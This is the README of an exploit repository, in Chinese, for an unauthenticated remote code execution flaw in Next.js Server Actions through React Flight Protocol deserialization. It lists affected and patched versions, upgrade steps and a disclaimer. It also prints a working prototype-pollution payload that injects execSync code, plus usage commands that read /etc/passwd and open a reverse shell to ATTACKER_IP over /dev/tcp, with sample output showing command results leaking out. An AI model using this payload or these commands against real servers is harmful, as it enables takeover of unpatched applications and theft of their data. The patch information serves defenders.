Next.js Server Actions 中的严重漏洞,允许通过 React Flight Protocol 反序列化实现未经认证的远程代码执行
本仓库包含针对影响使用 Server Actions(React Server Functions)的 Next.js 应用程序的严重 RCE 漏洞的 概念验证(PoC)。
| 详情 | 信息 |
|---|---|
| CVE | CVE-2025-55182 / CVE-2025-66478 |
| 严重性 | 严重(CVSS 10.0) |
| 受影响的 React 版本 | React 19.0.0, 19.1.0, 19.1.1, 19.2.0 |
| 受影响的 Next.js 版本 | Next.js 15.x, 16.x, 14.3.0-canary.77+ |
| 不受影响的版本 | Next.js 14.x stable, 13.x, Pages Router, Edge Runtime |
| 已修复的 Next.js 版本 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 |
| 已修复的 React 版本 | 19.0.1, 19.1.2, 19.2.1 |
| 类型 | 远程代码执行(RCE) |
| 是否需要认证 | 无 |
该漏洞存在于 React Flight Protocol 在 Server Actions 处理过程中对数据块进行反序列化的方式中。攻击者可以通过精心构造的表单数据利用**原型污染(prototype pollution)**来:
__proto__)访问 Function 构造函数此过程发生在对服务器操作进行任何验证之前,这使得任何启用了 Server Actions 的 Next.js 应用程序都可能受到攻击。
满足以下条件的任何 Next.js 应用程序均存在漏洞:
pip install requests
python3 poc.py <TARGET_URL> "<COMMAND>"
# Test command execution
python3 poc.py http://localhost:3000 "id"
# Read sensitive files
python3 poc.py http://localhost:3000 "cat /etc/passwd"
# Reverse shell (for authorized testing only)
python3 poc.py http://localhost:3000 "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
$ python3 poc.py http://localhost:3000 "whoami"
500
0:{"a":"$@1","f":"","b":"development"}
1:E{"digest":"www-data","message":"NEXT_REDIRECT","stack":[],"env":"Server"}
命令输出显示在 digest 字段中。
该漏洞利用了 React Flight Protocol 的数据块解析机制:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": f"process.mainModule.require('child_process').execSync('{cmd}');",
"_formData": {
"get": "$1:constructor:constructor",
},
},
}
攻击链:
$1:__proto__:then 进行原型遍历$1:constructor:constructor 访问 Function 构造函数_prefix 字段注入任意代码立即升级:
npm install next@latest
# or
pnpm update next
已修复版本:15.0.5、15.1.9、15.2.6、15.3.6、15.4.8、15.5.7、16.0.7
注意: Next.js 14.x 稳定版和 13.x 不受影响。
⚠️ 本 PoC 仅供教育和授权的安全测试使用。
未经授权访问计算机系统是违法的。请仅在你拥有或已获得明确测试许可的系统上使用此工具。作者对任何滥用行为不承担责任。
基于 @msanft 的原始研究。该漏洞的发现及初始 PoC 的全部功劳归于他们。
Next.js RCE, Next.js vulnerability, CVE-2025-55182, CVE-2025-66478, React2Shell, React Server Components exploit, Next.js Server Actions RCE, prototype pollution Next.js, React Flight Protocol vulnerability, Next.js security, Next.js remote code execution, Next.js exploit PoC, Server Actions vulnerability, React RSC RCE